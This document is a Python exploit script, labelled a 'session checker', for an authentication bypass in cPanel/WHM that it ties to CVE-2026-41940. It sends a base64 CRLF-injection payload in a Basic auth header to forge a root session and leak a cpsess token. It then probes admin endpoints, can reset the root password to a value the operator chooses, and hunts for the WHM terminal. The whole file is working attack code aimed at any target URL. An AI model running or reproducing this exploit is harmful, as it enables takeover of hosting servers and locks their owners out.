import argparse import base64 import json import re import sys import urllib.parse import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) banner = """ (*) cPanel/WHM AuthBypass Session Checker """ print(banner) PAYLOAD_B64 = ( "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5" "OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x" ) def parse_target(url): u = urllib.parse.urlsplit(url.rstrip("/")) return u.scheme, u.hostname, u.port or 2087 def discover_canonical_host(scheme, host, port): try: r = requests.get( f"{scheme}://{host}:{port}/openid_connect/cpanelid", verify=False, allow_redirects=False, headers={"Connection": "close"}, timeout=10, ) except Exception as e: print(f"[!] couldn't reach target: {e}") sys.exit(1) loc = r.headers.get("Location", "") m = re.match(r"^https?://([^:/]+)", loc) if m: return m.group(1) return host def make_session(): s = requests.Session() s.verify = False return s def http(s, method, scheme, host, port, canonical, path, do_redirects=False, **kw): headers = kw.pop("headers", {}) headers.setdefault("Host", f"{canonical}:{port}") headers.setdefault("Connection", "close") return s.request( method, f"{scheme}://{host}:{port}{path}", headers=headers, allow_redirects=do_redirects, **kw, ) def stage1_preauth(s, scheme, host, port, canonical): print("[1] minting a preauth session...") r = http(s, "POST", scheme, host, port, canonical, "/login/?login_only=1", data={"user": "root", "pass": "wrong"}) cookie_value = None for k, v in r.raw.headers.items(): if k.lower() == "set-cookie" and v.startswith("whostmgrsession="): cookie_value = v.split("=", 1)[1].split(";", 1)[0] cookie_value = urllib.parse.unquote(cookie_value) break if not cookie_value: print("[!] no whostmgrsession cookie issued") sys.exit(1) if "," in cookie_value: session_base = cookie_value.split(",", 1)[0] else: session_base = cookie_value print(f" session base = {session_base}") return session_base def stage2_inject(s, scheme, host, port, canonical, session_base): print("[2] CRLF injection via Basic auth + no-ob cookie...") cookie_enc = urllib.parse.quote(session_base) r = http(s, "GET", scheme, host, port, canonical, "/", headers={ "Authorization": f"Basic {PAYLOAD_B64}", "Cookie": f"whostmgrsession={cookie_enc}", }) loc = r.headers.get("Location", "") m = re.search(r"/cpsess\d{10}", loc) if not m: print(f"[!] no cpsess token leaked (HTTP {r.status_code})") sys.exit(1) token = m.group(0) print(f" HTTP {r.status_code}, token = {token}") return token def stage3_propagate(s, scheme, host, port, canonical, session_base): print("[3] do_token_denied propagation...") cookie_enc = urllib.parse.quote(session_base) r = http(s, "GET", scheme, host, port, canonical, "/scripts2/listaccts", headers={"Cookie": f"whostmgrsession={cookie_enc}"}) print(f" HTTP {r.status_code}") return True def stage4_check_auth(s, scheme, host, port, canonical, session_base, token): """Try various endpoints to see if the session is actually authenticated.""" print("\n[4] Checking session authentication...") cookie_enc = urllib.parse.quote(session_base) tests = [ ("WHM home page", f"{token}/", True), ("WHM home no token", "/", False), ("API version", f"{token}/json-api/version", False), ("API applist", f"{token}/json-api/applist?api.version=1", False), ("WHM terminal page", f"{token}/scripts2/terminal", True), ("List accounts", f"{token}/scripts2/listaccts", True), ("WHM config", f"{token}/cgi/config", True), ] results = {} for label, path, check_200 in tests: r = http(s, "GET", scheme, host, port, canonical, path, headers={"Cookie": f"whostmgrsession={cookie_enc}"}, do_redirects=True) body_preview = (r.text or "")[:150].replace('\n', ' ') logged_in = "login" not in (r.text or "").lower()[:500] or "WHM Login" not in (r.text or "")[:500] if r.status_code == 200: logged_in = logged_in and "WHM Login" not in (r.text or "")[:1000] elif r.status_code in (301, 302): loc_hdr = r.headers.get("Location", "") logged_in = "login" not in loc_hdr.lower() else: logged_in = False status = "AUTH_OK" if logged_in else "DENIED" print(f" {label:30s} -> HTTP {r.status_code:3d} [{status}] {body_preview[:80]}") results[label] = (r.status_code, logged_in, r.text) return results def try_change_password(s, scheme, host, port, canonical, session_base, token, new_pass): """Try changing root password via WHM API.""" print(f"\n[5] Attempting password change to '{new_pass}'...") cookie_enc = urllib.parse.quote(session_base) r = http(s, "POST", scheme, host, port, canonical, f"{token}/json-api/passwd?api.version=1", headers={"Cookie": f"whostmgrsession={cookie_enc}"}, data={"user": "root", "pass": new_pass}, do_redirects=True) print(f" passwd -> HTTP {r.status_code}") print(f" response: {(r.text or '')[:300]}") return r def try_whm_terminal(s, scheme, host, port, canonical, session_base, token): """Try accessing the WHM Terminal feature.""" print("\n[6] Checking WHM Terminal access...") cookie_enc = urllib.parse.quote(session_base) # The terminal is usually at /cpsessXXXXX/scripts2/terminal or similar paths = [ f"{token}/scripts2/terminal", f"{token}/cgi/terminal", f"{token}/terminal", ] for path in paths: r = http(s, "GET", scheme, host, port, canonical, path, headers={"Cookie": f"whostmgrsession={cookie_enc}"}, do_redirects=True) body_lower = (r.text or "").lower() if "terminal" in body_lower and (r.status_code == 200): # Look for CSRF token / form action csrf_m = re.search(r'name="token".*?value="([^"]+)"', r.text or "") if csrf_m: print(f" Terminal found at {path} (HTTP {r.status_code}, CSRF token: {csrf_m.group(1)})") else: print(f" Terminal found at {path} (HTTP {r.status_code})") return r.text else: print(f" {path} -> HTTP {r.status_code}") return None parser = argparse.ArgumentParser() parser.add_argument("--target", required=True, help="WHM URL, e.g. https://target:2087") parser.add_argument("--hostname", default=None, help="override Host header") parser.add_argument("--password", default=None, help="new root password to set") args = parser.parse_args() scheme, host, port = parse_target(args.target) canonical = args.hostname or discover_canonical_host(scheme, host, port) print(f"[0] Host: {host}:{port} Canonical: {canonical}") s = make_session() session_base = stage1_preauth(s, scheme, host, port, canonical) token = stage2_inject(s, scheme, host, port, canonical, session_base) stage3_propagate(s, scheme, host, port, canonical, session_base) results = stage4_check_auth(s, scheme, host, port, canonical, session_base, token) # Summary print("\n" + "="*60) print("SUMMARY:") print("="*60) any_auth_ok = any(v[1] for v in results.values()) if any_auth_ok: print("\n[+] SESSION IS AUTHENTICATED on one or more endpoints!") print(f"\n[+] Access WHM in browser:") print(f" URL: {scheme}://{host}:{port}/{token}/") print(f" Cookie: whostmgrsession={urllib.parse.quote(session_base)}") if args.password: try_change_password(s, scheme, host, port, canonical, session_base, token, args.password) # Try terminal try_whm_terminal(s, scheme, host, port, canonical, session_base, token) else: print("\n[-] All endpoints DENIED access.") print("[-] This target appears to be PATCHED against CVE-2026-41940.") print("\n The CRLF injection (stages 1-3) may still work, but the") print(" successful_internal_auth_with_timestamp bypass in") print(" docheckpass_whostmgrd has been fixed in this version.") print(f"\n Actionable info:") print(f" - Session cookie: whostmgrsession={urllib.parse.quote(session_base)}") print(f" - Token: {token}") print(f" - These might still work if re-validated on a different code path") print() print(f" Cookie: whostmgrsession={urllib.parse.quote(session_base)}") print(f" Token: {token}")